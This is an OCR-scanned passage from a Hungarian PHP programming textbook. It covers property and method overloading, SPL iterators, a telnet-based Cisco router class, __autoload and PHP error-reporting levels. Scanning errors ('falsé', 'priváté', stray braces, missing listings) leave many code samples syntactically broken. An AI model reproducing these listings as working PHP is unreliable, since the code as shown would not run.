$this->stmt = $stmt; } public function first() { if ( !$this->result) { $this->result[$this->row!ndex+ + ] = $this->stmt->fetch_assoc() ; } $this->currlndex = 0; return $this; } public function last() { if(!$this->done) { array_push($this->result, $this->stmt->fetchall_assoc()); } $this->done = true; $this->currlndex = $this->rowIndex = count($this->result) - 1; return $this; } public function next() { if ($this->done) { return falsé; } $offset = $this->currlndex + 1; if ( !$this->result[$offset]) { $row = $this->stmt->fetch_assoc(); if(!$row) { $this->done = true; return falsé; } $this->result[$offset] = $row; ++$this->rowIndex; ++$this->currIndex; return $this; }

58

PHP fejlesztés felsőfokon

else {

++$this->currIndex; return $this;
} }

public function prev()
{

if($this->currlndex == 0) return falsé;
}

{

--$this->currIndex; return $this;
} }

A DB_Result-tal kapcsolatban a következőket kell megjegyeznünk: • Konstruktora típusjelzéssel biztosítja, hogy a neki átadott változó DB_Statement objektum legyen. Mivel a bejárók megvalósítása megköveteli, hogy a $stmt megfeleljen a DB_Statement API-nak, ez ésszerű ellenőrzés. • Az eredmények lusta előkészítésűek (addig nem jönnek létre, amíg nem hivatkoznak rájuk). Konkrétan az egyes sorok csak akkor töltik fel a DB_Result: : result tömböt, amikor a DB_Result objektum bejárása az indexükhöz ér az eredményhalmazban. Azt, hogy ez miért fontos, a 10. fejezetben tárgyaljuk, mindenesetre a lényeg röviden az, hogy a lusta előkészítés révén elkerülhetünk egy olyan munkát, aminek az elvégzésére a tényleges hívásig nincs is szükség. • A soradatokat a DB_Result: : result tömb tárolja. A kívánt API azonban az adatokra $obj ->column, nem pedig $obj ->result [ ' column' ] formában hivatkozik, úgyhogy még van tennivalónk. Az eredményhalmazok objektumközpontú felületének használatában a nehézséget az jelenti, hogy az oszlopneveket tulajdonságként érjük el. Miután természetesen egyetlen lekérdezés oszlopainak nevét sem ismerjük, amikor a DB_Result-ot írjuk, az oszlopokat előre nem tudjuk helyesen bevezetni. Továbbá, mivel a DB_Result minden megvizsgált sort tárol, az eredményadatokat valamilyen tömbben (ebben az esetben a DB_Result: : result nevűben) kell tárolnia. Szerencsére a PHP két tagfüggvény révén lehetővé teszi a tulajdonságokhoz való hozzáférés túlterhelését: • function__ get($varname) {} - E tagfüggvény meghívására akkor kerül sor, amikor olvasás céljából próbálunk hozzáférni egy meghatározatlan tulajdonsághoz. • function__ set($varname, $value) {} - E tagfüggvény meghívására akkor kerül sor, amikor írás céljából próbálunk hozzáférni egy meghatározatlan tulajdonsághoz.

2. fejezet • Objektumközpontú programozás tervezési minták segítségévei

59

Esetünkben a DB_Result-nak tudnia kell, hogy amikor egy eredményhalmaz oszlopához férünk hozzá, a halmaz aktuális sorában az adott oszlop értékét kell visszaadni. Ezt az alábbi___ get függvénnyel érhetjük el, amelyben a függvénynek átadott egyetlen paramétert a rendszer a keresett tulajdonság nevére állítja: public function _____ get($varname)
{

if(array_key_exists($varname, $this->result[$this->currlndex])) return $this->result[$this->currlndex][$varname];
} }

{

Itt azt ellenőrizzük, hogy az átadott argumentum létezik-e az eredményhalmazban. Ha igen, az elérőfüggvény belekukkant a $this->result-ba, hogy megkeresse a megadott oszlopnévhez tartozó értéket. Miután az eredményhalmaz nem módosuló (vagyis a soradatok egyike sem módosítható ezen a felületen keresztül), nem kell törődnünk egyetlen tulajdonság beállításával sem. A tulajdonság-felülbírálási képességnek egyéb haszna is van. Érdekes megoldás például, amikor a___get () és a____ set () segítségével maradandó társításos tömböket hozunk létre, amelyek egy DBM állományhoz (vagy más maradandó - perzisztens - tárolóhoz) kapcsolódnak. Ha ismerjük a Perl nyelvet, észrevehetjük a hasonlóságot a tie () ottani használatával. Maradandó hasítótábla (hash) készítéséhez egy Tied nevű osztályt hozunk létre, ami egy leírót nyit egy DBM állományhoz. (A DBM állományokkal részletesebben a 10. fejezetben foglakozunk.) Amikor egy tulajdonsággal kapcsolatban olvasási kérelem érkezik, az értéket megszerezzük a hasítótáblából, és párhuzamosítjuk (hogy összetett adattípusokat is tárolhassunk). Az írási műveleteknél ehhez hasonlóan sorosítjuk a változóhoz rendelt értéket, és a DBM-be írjuk. Lássunk egy példát, ahol egy DBM fájlt egy társításos tömbbel kapcsolunk össze, így lényegében egy maradandó tömböt készítünk (ami hasonló egy Tied hasítótáblához a Peri-ben): class Tied { priváté $dbm; priváté $dbmFile; function ____ construct( $ f ile = falsé)
{

$this->dbmFile = $file; $this->dbm = dba_popen($this->dbmFile, } function____ destructO
{

"c",

"ndbm");

60

PHP fejlesztés felsőfokon

dba_close($this->dbm); } function __ get($name) { $data = dba_fetch($name, $this->dbm); if($data) { print $data; return unserialize($data); } else { print "$name not found\n"; return falsé; } } function___ set($name, $value) {

dba_replace($name,
} }

serialize($value),

$this->dbm);

Most már lehet egy társításos tömb típusú objektumunk, amely megengedi a maradandó adatokat. Tegyük fel, hogy így használjuk:
<?

$a = new Tied("/tmp/tied.dbm"); if(!$a->counter) { $a->counter = 0 ;
}

else { $a->counter++;
}

print "This page has been accessed ".$a->counter." times.\n";
?>

Ekkor minden elérés eggyel növeli a számlálót:
> php 19.php This page has been accessed 1 times. > php 19.php

This page has been accessed 2 times. Túlterheléssel a tulajdonságokhoz hozzáférés-szabályozást is biztosíthatunk. Mint tudjuk, a PHP változói bármilyen típusúak lehetnek, és a típusok (tömb, karakterlánc, szám és így tovább) között gond nélkül válthatunk is. Mindazonáltal bizonyos változókat arra szeretnénk kényszeríteni, hogy adott típusúak maradjanak (mondjuk hogy egy skaláris változó

2. fejezet • Objekturnközpontú programozás tervezési minták segítségéve!

61

egész típusú legyen). Az alkalmazás kódjában ezt úgy érhetjük el, hogy saját kezűleg ellenőrzünk minden adatot, mielőtt egy változóhoz rendelnénk, de ez igen fárasztóvá válhat, rengeteg kódismétlést igényel, és előbb-utóbb könnyű megfeledkezni róla. A__ get () és a____ set () használatával megvalósítható egyes objektumtulajdonságok értékadásának típusellenőrzése. Ezeket a tulajdonságokat nem szabványos tulajdonságként vezetjük be, hanem az objektumon belül egy privát tömbben tároljuk. Ezenkívül egy típustérképet is meghatározunk, ami azon változókból áll, amelyek típusát ellenőrzni szeretnénk, illetve meghatározzuk a típusellenőrzésre használni kívánt függvényt. íme egy osztály, amely name tulajdonságától megköveteli, hogy karakterlánc legyen, counter tulajdonságának pedig egész (integer) típusúnak kell lennie:
class Typed { priváté $props = array(); static $types = array ( "counter" => "is_integer", "name" => "is_string" );

public function _____ get($name) { if(array_key_exists($name, $this->props)) return $this->props[$name];
} }

{

public function _____ set($name,$value) { if (array_key_exists($name, self::$types)) { if(call_user_func(self::$types[$name],$value)) $this->props[$name] = $value; } else { print "Type assignment error\n"; debug_print_backtrace();
} } } }

{

Amikor értékadás történik, az adott tulajdonságot kikeressük a self: : $types tömbből, és futtatjuk az ellenőrző függvényét. Ha a típusokat helyesen illesztjük, minden úgy működik, mint a karikacsapás, amit láthatunk is, ha futtatjuk a következő kódot: $obj = new Typed; $obj->name = "George"; $obj->counter = 1;

62

PHP fejlesztés felsőfokon

Ha viszont megsértjük a típusmegszorításokat (egy tömbnek a $obj ->name-hez való rendelésével, amelyet is_string típusúként adtunk meg), végzetes hibát kapunk. Hajtsuk végre például ezt a kódot: $obj = new Typed; $obj->name = array("George"); Ekkor az alábbi hibát kapjuk:
> php 2 0.php Type assignment error #0 typed->__ set(name, Array ([0] => George)) called at [(null):3] #1 typed->unknown(name, Array ([0] => George)) called at [/Users/george/ Advanced PHP/examples/chapter-2/20.php:28]

Az SPL és a bejárók
Mindkét megelőző példában olyan objektumokat hoztunk létre, amelyektől tömbszerű viselkedést vártunk. Nagyrészt sikerrel jártunk, de hozzáféréskor még mindig objektumként kell kezelnünk őket. Ez például működik: $value = $obj->name; Ez viszont futásidejű hibát okoz: $value = $obj['name']; Ugyanilyen frusztráló, hogy nem használhatjuk velük a szokásos tömbbejáró módszereket. Ez is futásidejű hibát vált ki: foreach($obj as $k => $v) {}

Ahhoz, hogy a fenti formájú kódokat bizonyos objektumokkal működőképessé tegye, Marcus Boerger megírta a PHP5-höz a szabványos PHP könyvtár bővítményt (Standard PHP Library, SPL). Az SPL felületek egy csoportját biztosítja, és a Zend Engine-hez kapcsolódik, ami úgy futtatja a PHP-t, hogy lehetővé teszi a bejáró és tömbelérő kódok működését azokkal az osztályokkal, amelyek megvalósítják az említett felületeket. A felület, amelyet az SPL meghatároz a tömb stílusú hozzáféréshez, az alábbi kódot tartalmazza:
interface ArrayAccess { function offsetExists($key); function offsetGet($key); function offsetSet($key, $value); function offsetUnset($key); }

2. fejezet • Objektumközpontú programozás tervezési minták segítségével

63

Mivel a meghatározás C kódon belül szerepel, természetesen nem ezt fogjuk látni, de PHP-re fordítva így festene. Ha teljesen el akarjuk hagyni a Tied objektumközpontú felületét, és azt szeretnénk, hogy elérő műveletei tömbökhöz hasonlítsanak, a_____ get () és____ set () műveleteket a következőképpen cserélhetjük ki:

Az alábbi kód most már nem működik, hiszen eltávolítottuk a túlterhelt elérő műveleteket: $obj->name = "George"; Az elérést így hajthatjuk végre: $obj ['name'] = "George"; // nem működik

Ha azt szeretnénk, hogy objektumaink tömbként viselkedjenek, amikor beépített tömbfüggvényeknek (például array map ()) adjuk át őket, megvalósíthatjuk az Iterator és IteratorAggregate felületeket, aminek eredményeként a kapott bejáró (iterator) megvalósítja a paraméterként tömböt váró függvényekben való meghíváshoz szükséges felületeket, íme egy példa: interface IteratorAggregate { function getlterator();
}

64

PHP fejlesztés felsőfokon

interface Iterator { function rewind(); function hasMore(); function key(); function current(); function next(); } Ebben az esetben egy osztály váza így festene: class Klasslterator implements Iterator { /* ... */ } class Klass implements IteratorAggregate { function getlterator() { return new Klasslterator($this); } /* ... */ }

Az alábbi kód lehetővé teszi, hogy az objektumot ne csak f oreach (), hanem f or () ciklusokban is használhassuk: $obj = new Klass; for($iter = $obj->getIterator();
{

$iter->hasMore();

$iter = $iter->next())

// működik a $iter->current()-tel
}

Megtehetjük, hogy a korábban megírt elvont adatbázis-ábrázolásban a DB_Result-ot bejáróvá tesszük. Lássunk egy példát arra, hogyan módosíthatjuk úgy az API-t, hogy megvalósítsa az Iterator-t: class DB_Result { protected $stmt; protected $result = array(); protected $rowIndex = 0; protected $currlndex = 0; protected $max = 0; protected $done = falsé; function ____ construct(DB_Statement $stmt)
{

$this->stmt = $stmt;
}

2. fejezet • Objektumközpontú programozás tervezési minták segítségével

65

function rewind() { $this->currlndex = 0; } function hasMore() { if ($this->done && $this->max == $this->currlndex) return falsé; } return true; } function key() { return $this->currlndex; } function current() { return $this->result[$this->currlndex]; } function next() { if ($this->done &&) { return falsé; } $offset = $this->currlndex + 1; if(!$this->result[$offset]) { $row = $this->stmt->fetch_assoc(); if(!$row) { $this->done = true; $this->max = $this->currlndex; return falsé; } $this->result[$offset] = $row; ++$this->rowIndex; ++$this->currIndex; return $this; } else { ++$this->currlndex; return $this; } } }

{

Ezen kívül a MysqlStatement-et úgy kell módosítani, hogy megvalósítsa az IteratorAggregate felületet, hogy átadhassuk egy f oreach () -nek vagy más tömbkezelő függvénynek. Ez csupán egyetlen függvény hozzáadását igényli, valahogy így: class MysqlStatement implements IteratorAggregate { function getlterator() { return new MysqlResultlterator($this);
} }

66

PHP fejlesztés felsőfokon

Ha az osztály bejárójaként nem szeretnénk külön osztályt létrehozni, de a felület által nyújtott finom vezérlésre továbbra is szükségünk van, természetesen megtehetjük, hogy egyetlen osztály valósítja meg mind az IteratorAggregate, mind az Iterator felületet. A nagyobb kényelem kedvéért az Iterator és ArrayAccess felületeket egyesíthetjük, hogy olyan objektumokat hozzunk létre, amelyek a tömbökkel azonos viselkedést mutatnak mind a belső, mind a felhasználói függvényekben. Ez a Tied-hoz hasonló, tömbszerű viselkedésre tervezett osztályok esetében ideális megoldás. Lássuk is, hogyan módosíthatjuk úgy a Tied osztályt, hogy megvalósítsa mindkét felületet: class TiedArray implements ArrayAccess,
priváté $db;

Iterator {

priváté $current; function ____ construct( $ f ile) { $this->db = dba_popen($file, " c " , if(!$this->db) {
}

"flatfile");

throw new Exception("$file could not be opened"); } function __ destruct() { dba_close($this->db); } function offsetExists($index) { return dba_exists($index, $this->db); } function offsetGet($index) { return unserialize(dba_fetch($index, $this->db)); } function offsetSet($index, $newval) { dba_replace($index, serialize($newval), $this->db); return $newval; } function offsetUnset($index) { return dba_delete($index, $this->db); } function rewindü { $this->current = dba_firstkey($this->db) ; } function current() { $key = $this->current; if($key !== falsé) { return $this->offsetGet($key); } }

2. fejezet • Objektumközpontú programozás tervezési minták segítségével

67

function next() { $this->current = dba_nextkey($this->db);
}

function valid() { return ($this->current == falsé)?false:true;
}

function key() { return $this->current;
} } ?>

Az Iterator megvalósításához elengedhetetlen bejáró műveletek a módosított Tied osztályban a dba_firstkey (), amely a belső DBM állomány elejére áll, illetve a dba_nextkey (), amellyel bejárjuk az állományt. Ha elvégezzük az alábbi módosításokat, a Tied objektumokat ugyanúgy járhatjuk be, mint egy szokványos társításos tömböt: $obj = new $obj->foo = $obj->bar = $obj->barbara Tied("/tmp/tied.dbm"); "Foo"; "Bar"; = "Barbara";

foreach($obj as $k => $v) { print "$k => $v\n";
}

Futtatáskor ezt kapjuk: foo => Foo counter => 2 bar => Bar barbára => Barbara Honnan származik a counter? Ne feledjük, ez maradandó (perzisztens) hasítótábla: a counter a DBM fájl utolsó használatából marad vissza.

68

PHP fejlesztés felsőfokon

A PHP a___call () visszahívható függvényen keresztül a tagfüggvény-túlterhelést is támogatja. Ez azt jelenti, hogy ha meghívjuk egy objektum valamelyik tagfüggvényét és az nem létezik, helyette a____call () hívódik meg. A szolgáltatást általában arra használjuk, hogy védekezzünk a meghatározatlan tagfüggvények ellen. A következő példában egy osztály___ call () horgának egy olyan megvalósítását láthatjuk, amely egyszerűen kiírja a hívni próbált tagfüggvény nevét, illetve az osztálynak átadott argumentumokat: class Test {
public function __ call($funcname, $args) {

print "Undefined method $funcname called with va r s: \ n " ; print_r($args);
} }

Próbáljunk meg nem létező tagfüggvényt végrehajtani: $obj = new Test; $obj->hello("george") ; Ekkor a következő kimenetet kapjuk: Undefined method hello called with vars: Array ( [0] => george ) A___call () kezelők rendkívül hasznosak a távoli eljáráshívásokban (remote procedure call, RPC), ahol nem valószínű, hogy az ügyfél osztály megírásakor pontosan ismerjük a távoli kiszolgáló által támogatott tagfüggvényeket. Az RPC tagfüggvényekkel részletesebben a 16. fejezetben foglalkozunk, de hogy röviden bemutassuk használatukat itt is, összedobunk egy objektumközpontú felületet Cisco útválasztókhoz. A Cisco útválasztókba hagyományosan a Telneten keresztül jelentkezünk be, és a beállítást, illetve vezérlést ezen a parancssoros felületen keresztül végezzük. A Cisco útválasztóknak saját operációs rendszerük (IOS) van, amelynek különböző változatai más-más szolgáltatáskészletet és parancsformát támogatnak. Persze nem kell teljes felületet készítenünk minden IOSváltozathoz; a___ call () -ra bízhatjuk a parancstovábbítás automatikus kezelését. Mivel az útválasztót csak a Telneten át érhetjük el, a PEAR Net_Telnet osztályát fogjuk bővíteni, hogy biztosítsuk az elérési réteget. A Telnet részleteivel a szülőosztály foglalkozik, így osztályunkban csak két valódi függvényre lesz szükség. Az első, a login (), a bejelentkezést kezeli; a jelszókérő jelre vár, és amikor az megérkezik, elküldi a bejelentkező adatait.

2. fejezet • Objektumközpontú programozás tervezési minták segítségével

69

PEAR

A PHP bővítmény és alkalmazástár (PHP Extension and Application Repository, PEAR) a PHP csoport tevékenységéhez lazán kapcsolódó projekt, amelynek célja, hogy magas színvonalú, objektumközpontú, újrahasznosítható alapelemek gyűjteményét biztosítsa alkalmazások PHP nyelven történő feljesztéséhez. A kötetben számos PEAR osztályt használunk, bár én gyakran a saját elemek építését részesítem előnyben. Különösen azokban az alkalmazásokban, ahol a teljesítmény létfontosságú, könnyebb az igényekhez pontosan illeszkedő, felesleges kóddal nem terhelt megoldást kidolgozni, bár néha jól jöhet egy már létező megoldás. A PHP a 4.3-as kiadás óta tartalmazza a PEAR telepítőt, amelyet a parancssorból a következőképpen indíthatunk el: > pear Ha látni szeretnénk a telepítő valamennyi lehetőségét, írjuk be ezt: > pear help A számunkra érdekes parancs a pear install. Esetünkben a futtatáshoz a Net_Telnet osztályra van szükség; ennek telepítése az alábbi egyszerű módon történik: > pear install Net_Telnet A végrehajtást lehet, hogy csak rendszergazdaként (root) tehetjük meg. Az összes elérhető PEAR csomagot az alábbi paranccsal írathatjuk ki: > pear list-all A legfrissebb információkért érdemes meglátogatnunk a PEAR webhelyét is a http: / /pear. php. net címen.

A második függvény, amire a Net_Telnet osztályban szükségünk van, a _ _call () kezelő. Itt a következő részletekkel foglalkozunk: • Számos Cisco IOS parancs többszavas parancs. Az útválasztási táblázat megjelenítésére irányuló például a show ip route, amit támogathatunk egyszerre $router>show_ip_route () és $router->show("ip route") formában is. A tagfüggvény nevében minden aláhúzást szóközre kell cserélnünk, az eredményt pedig össze kell fűznünk a többi argumentummal, hogy megkapjuk a parancsot.

70

PHP fejlesztés felsőfokon

• Ha meg nem valósított parancsot hívunk meg, nem árt, ha naplózzuk a hibát. (Esetleg használhatjuk a die () -t is vagy kivételt válthatunk ki. A 3. fejezetben részletesen tárgyaljuk a hibakezelő eljárásokat.) íme a Cisco_RPC megvalósítása (meglehetősen rövid, pedig a teljes IOS-parancskészletet támogatja): require_once "Net/Telnet.php"; class Cisco_RPC extends Net_Telnet { protected $password; function _ _construct($address, $password,$prompt=false)
{

parent::__ construct($address) ; $this->password = $password; $this->prompt = $prompt; } function login() { $response = $this->read_until("Password:") ; $this->_write($this->password); $response = $this->read_until("$this->prompt>"); } function _ _call($func, $var) { $func = str_replace("_", " ", $func); $func .= " ".implode(" ", $var); $this->_write($func); $response = $this->read_until("$this->prompt>"); if($response === falsé II strstr($response, "%Unknown command")) { error_log("Cisco command $func unimplemented", E_USER_WARNING) ; } else { return $response; } } }

A Cisco_RPC egyszerűen használható. Példaként lássunk egy programot, amellyel bejelentkezünk az útválasztóba a 10.0.0.1 IP címen, és kiíratjuk az útválasztási táblázatot: $router = new Cisco_RPC("10.0.0.1", $router->login(); print $router->show("ip r ou t e " ); "password");

2. fejezet • Objektumközpontú programozás tervezési minták segítségével _ _autoload()

7

Az utolsó „mágikus" túlterhelő művelet, amelyről a fejezetben szót kell ejtenünk, az _ _autoload (), amely globális visszahívást biztosít, amikor egy nem létező osztályt próbálunk példányosítani. Ha olyan csomagoló rendszerrel rendelkezünk, amelyben az osztályok nevei megfelelnek azon fájlokénak, amelyben meghatározták őket, az_ _autoload () segítségével menet közben (just-in-time) építhetjük be az osztálykönyvtárakat. Ha a példányosítani kívánt osztály meghatározatlan, meghívódik az_ _autoload () függvény, és újabb kísérlet történik a példányosításra. Ha a második kísérlet sem sikerül, a szokásos végzetes hiba lép fel. Ha a PEAR-hez hasonló csomagoló rendszert használunk, ahol a Net_Telnet osztály meghatározása a Net/Telnet .php állományban található, az alábbi_ _autoload() függvény menet közben tölti azt be: function _ _autoload($classname) { $filename = str_replace( " _ " , " / " , include_once $filename;
}

$classname).

'. php';

Az osztálynév fájlnévre fordításához csak ki kell cserélnünk minden aláhúzást perjelre és hozzáfűzni a . php végződést. Ha a betöltés (include) is megtörtént, bármilyen fájl betöltése nélkül végrehajthatjuk az alábbi utasítást, és az mindaddig sikeres lesz, amíg az elérési úton megtalálható a Net /Telnet .php: <?php $telnet = new Net_Telnet; ? >

További olvasmányok
Rengeteg kitűnő könyv létezik az objektumközpontú programozásról és a tervezési mintákról, de az én személyes kedvenceim egyértelműen a következők: • Programtervezési minták {Design Patterns - Erich Gamma, Richárd Helm, Ralph Johnson és John Vlissides; Kiskapu Kiadó, 2004). A szerzőkre (e könyvnek köszönhetően) gyakran hivatkoznak a Négyek bandája („Gang of four") néven. A tervezési mintákkal foglalkozó kötetek legnagyobb klasszikusa. • Patterns of Enterprise Application Architecture (Martin Fowler). A szerző hihetetlenül tapasztalt; könyve érdekfeszítő és igen gyakorlatias megközelítésben tárgyalja a tervezési mintákat, különösen a Világhálóval kapcsolatban. A fenti kötetek egyike sem támaszkodik a PHP-re, de ha hajlandóak vagyunk végigrágni magunkat a C++, C# és Python kódokon, meglátjuk, megéri a fáradságot.

Hibakezelés
Hibázni emberi dolog. Murphy kimerítő törvénygyűjteménye az elkerülhetetlenül bekövetkező hibákról mindenki számára ismert. A programozás során a hibák megjelenésük szerint két alapvető csoportba sorolhatók: • Külső hibák - Olyan hibák, amelyeknél a kód nem várt módon kezd futni egy olyan programrész következtében, ami nem várt módon működik. Ilyen például, ha nem sikerül kapcsolódni egy adatbázishoz, pedig a kód sikeres kapcsolódást követel meg. • Kódlogikai hibák - Ezekre a hibákra hivatkoznak angolul ,,bug' (bogár) néven; olyan hibák, amelyeknél maga a kód hibás, mert vagy nem működő logikára épül, vagy elírtuk. Az említett két hibakategória számos vonásában jelentősen különbözik: • Külső hibákra mindig lehet számítani; nem számít, hogy maga a kód helyes-e. Mivel ezek a programtól függetlenek, önmagukban nem is tekinthetők hibáknak. • Az olyan külső hibák, amelyekre nem számítunk a kódban, lehetnek igazi hibák. Ha például naivan azt feltételezzük, hogy az adatbázishoz való kapcsolódás mindig sikerrel jár, hibát vétünk, mert így az alkalmazás szinte biztosan helytelenül reagál, ha a kapcsolat mégsem jön létre. • A kódlogikai hibákat jóval nehezebb nyomon követni, mint a külső hibákat, hiszen helyüket nyilván nem ismerjük. Mindazonáltal az adatkövetkezetesség ellenőrzésével felfedhetők. A PHP rendelkezik beépített hibakezeléssel, illetve egy, a hiba súlyosságát vizsgáló rendszerrel, ami lehetővé teszi, hogy csak azokról a hibákról értesüljünk, amelyek elég komolyak ahhoz, hogy érdekesek legyenek számunkra. A PHP-ben a hibáknak három súlyossági szintje létezik: • E_NOTICE • E_WARNING • E ERROR

74

PHP fejlesztés felsőfokon

Az E_NOTICE hibák kisebb, nem végzetes hibajelzések, amelyek a kódban esetlegesen előforduló hibákat segítenek azonosítani. Általában valami olyasmire figyelmeztetnek, ami működik, de nem biztos, hogy azt csinálja, amit szerettünk volna. Ilyen lehet például, amikor egy változóra azelőtt hivatkozunk, hogy értéket adtunk volna neki:
<?php

$variable++; ?> A fenti kód a $variable értékét l-re növeli (a változók példányosításkor a 0, a falsé, vagy az üres karakterlánc értéket kapják), de E_N0TICE hibát vált ki. Helyette használjuk inkább ezt: <?php $variable = 0; $variable++;
?>

Az E_NOTICE nyújtotta ellenőrzés arra szolgál, hogy megakadályozzuk a változónevek elírásából eredő hibákat. Az alábbi kódblokk például működik:
<?php

$variable = 0; $variabel++; ?> A gond csak az, hogy nem a $variable, hanem a $variabel értékének növelésére kerül sor. Az E_N0TICE az ilyen hibákra figyelmeztet, hógy elkaphassuk azokat. Olyan, mintha egy Perl programot a use warnings és a use strict utasítással futtatnánk, vagy egy C programot a -Wall kapcsolóval fordítanánk le. A PHP-ben az E_N0TICE hibák alapállapotban ki vannak kapcsolva, mert meglehetősen hosszú, ismétlődő üzeneteket tartalmazó naplót eredményeznek. Saját programjaim fejlesztésekor én inkább bekapcsolom őket, hogy megkönnyítsem a kódtakarítást, és csak az üzemi kiszolgálón kapcsolom ki az ellenőrzést. Az E_WARNING hibák nem végzetes futásidejű hibák. Nem állítják meg és nem módosítják a programvezérlést, csak jelzik, hogy valami rossz történt. Számos külső hiba eredményez E_WARNING figyelmeztetést; ilyen például, amikor a mysql_connect () -hez az f open () -t hívjuk meg.

3. fejezet • Hibakezelés

75

Az E_ERROR hibák helyrehozhatatlan hibák, amelyek leállítják a futó program végrehajtását. Ilyen például, amikor nem létező osztályt próbálunk példányosítani, vagy egy függvényben nem a típusjelzésnek megfelelő típust használjuk. (Érdekes módon, ha nem megfelelő számú argumentumot adunk át egy függvénynek, az csak E_WARNING hiba.) Ahhoz, hogy saját hibákat határozzunk meg, a PHP a trigger_error () függvényt bocsátja rendelkezésünkre. A felhasználó háromféle hibát válthat ki, melyek hasonlóak az eddig tárgyaltakhoz.• E_USER_NOTICE • E_USER_WARNING • E_USER_ERROR A felhasználói hibák kiváltása a következőképpen történhet: while(Ifeof($fp)) { $line = f g e t s ( $ f p ) ; if(!parse_line($line)) { trigger_error("Incomprehensible data encountered", E_USER_NOTICE);
} }

Ha nem adunk meg hibaszintet, az E_USER_N0TICE használatára kerül sor. Az említetteken kívül további öt, némileg ritkábban előforduló hibafajta létezik: • E_PARSE - A programban nyelvtani hiba található, így nem értelmezhető. Végzetes hibának számít. • ECOMPILEERROR - A motorban végzetes hiba következett be a program lefordítása közben. • ECOMPILEWARNING -A program feldolgozása közben nem végzetes hiba lépett fel a motorban. • E C O R E E R R O R - Végzetes futásidejű hiba történt a motorban. • ECOREWARNING - Nem végzetes futásidejű hiba történt a motorban. A PHP emellett az E_ALL kategóriát is használja, az összes hibaszint jelzésére. A hibajelzések szintjét a php. ini állomány error_reporting beállításával adhatjuk meg. Az error_reporting meghatározott állandókat használó bitmező-ellenőrző; a következő állandó utal például az összes hibára: error_reporting = E_ALL

76

PHP fejlesztés felsőfokon

Ha a hibák közül csak az E_NOTICE-t akarjuk kizárni, XOR-ozni kell az E_ALL-t és az E_NOTICE-t:
error_reporting = E_ALL ~ E_NOTICE

Az error_reporting alábbi beállításával csak a végzetes hibákat figyeljük (a két hibatípus között bitenkénti OR szerepel):
error_reporting = E_ERROR | E_USER_ERROR

Mindazonáltal ha az E_ERROR-t eltávolítjuk az error_reporting beállításból, akkor sem hagyhatjuk figyelmen kívül a végzetes hibákat, csupán nem kerül sor a hozzájuk tartozó hibakezelő meghívására.

A hibák kezelése
Most, hogy láttuk, milyen hibajelzéseket ad a PHP, ki kell dolgoznunk a hibák kezelésének tervét. A PHP az error_reporting-nak megfelelően négy választási lehetőséget nyújt a hibakezelésre: • • • • A hibák megjelenítése. A hibák naplózása. A hibák figyelmen kívül hagyása. Műveletek végzése hiba esetén.

Egyik lehetőség sem fontosabb a másiknál; egy erőteljes hibakezelő rendszerben mindegyik fontos szerepet tölt be. A hibák megjelenítése nagyon jó szolgálatot tehet a fejlesztőkörnyezetben, míg a naplózás a munkakörnyezetben megfelelőbb. Egyes hibák nyugodtan figyelmen kívül hagyhatók, míg mások választ kívánnak. A felsorolt hibakezelési módszerek megfelelő keverése az igényektől függ.

A hibák megjelenítése
Ha a hibák megjelenítése mellett döntünk, hibaüzenetet küldünk a szabványos kimeneti folyamra, ami egy weblap esetében azt jelenti, hogy a böngészőnek. A beállítás a php. ini állományban a következőképpen kapcsolható be: display_errors = On A display_errors a fejlesztés során sokat segít, mert e beállítás révén azonnal visszajelzést kapunk arról, hogy mi is csúszott félre. Nem kell naplófájlt böngésznünk vagy bármi mást tennünk, csak betölteni az építés alatt álló weblapot.

3. fejezet • Hibakezelés

77

Ugyanakkor amit a fejlesztő jó, hogy lát, a végfelhasználót gyakran zavarja. A PHP hibaüzenetek megjelenítése számukra általában három okból nem kívánatos: • Csúnyák. • Azt sugallják, hogy a webhely hibás. • Olyan részleteket árulhatnak el a háttérben futó kódról, amit a rosszindulatú felhasználók kihasználhatnak. A harmadik pont jelentőségét nem lehet eléggé hangsúlyozni. Ha azt szeretnénk, hogy a kódban esetlegesen előforduló biztonsági lyukakat megtalálják és kihasználják, nincs gyorsabb módszer, mint működési környezetben, a display_errors beállítást bekapcsolva futtatni a programot. Megtörtént egyszer, hogy egy különösen nagy forgalmú webhelyen egy rossz INI fájl néhány hiba miatt kikerült a képernyőkre. Amint észrevettük, azonnal kicseréltük a fájlt a webkiszolgálókon a javított változatra, és úgy gondoltuk, ez az egyedi eset csak a büszkeségünkön ejtett csorbát. Másfél évvel később elkaptunk egy kódtörőt, aki rendszeresen belerondított mások honlapjaiba. Cserébe azért, hogy nem indíttattunk ellene eljárást, hajlandó volt elárulni nekünk, milyen gyenge pontokat talált a rendszerben. A szokásos JavaScript-trükkökön kívül (a webhelyen számos felhasználó futtatott saját fejlesztésű JavaScript-tartalmat) néhány rendkívül ügyes programtörési módszerére derült fény, amelyeket annak a kódnak az alapján dolgozott ki, ami az előző évben, csupán órákig volt kinn a Hálón. Az említett esetben szerencsénk volt: a betörő leginkább a nem ellenőrzött felhasználói bemenetet, illetve az alapértelmezett érték nélküli változókat használta ki (ez még a register_global előtti időkben történt); az adatbázis-kapcsolati információkat viszont könyvtárakban, és nem az oldalakon tároltuk. Számos webhelyen történt már súlyos betörés az alábbiakhoz hasonló biztonsági lyukak láncolatának köszönhetően: • A display_errors bekapcsolva hagyása. • Az adatbázis-kapcsolatok részleteinek (mysql_connect ()) tárolása az oldalakban. • Nem helyi kapcsolatok engedélyezése a MySQL-hez. A fenti három hiba együtt kiszolgáltatja az adatbázist mindazok számára, akik a webhelyen hibaüzenetet tartalmazó lapot látnak. Valószínűleg megdöbbennénk, ha tudnánk, milyen gyakran fordul ez elő. Én fejlesztés közben bekapcsolom a display_errors beállítást, de az éles környezetben soha.

78

PHP fejlesztés felsőfokon

Hibák megjelenítése működési környezetben

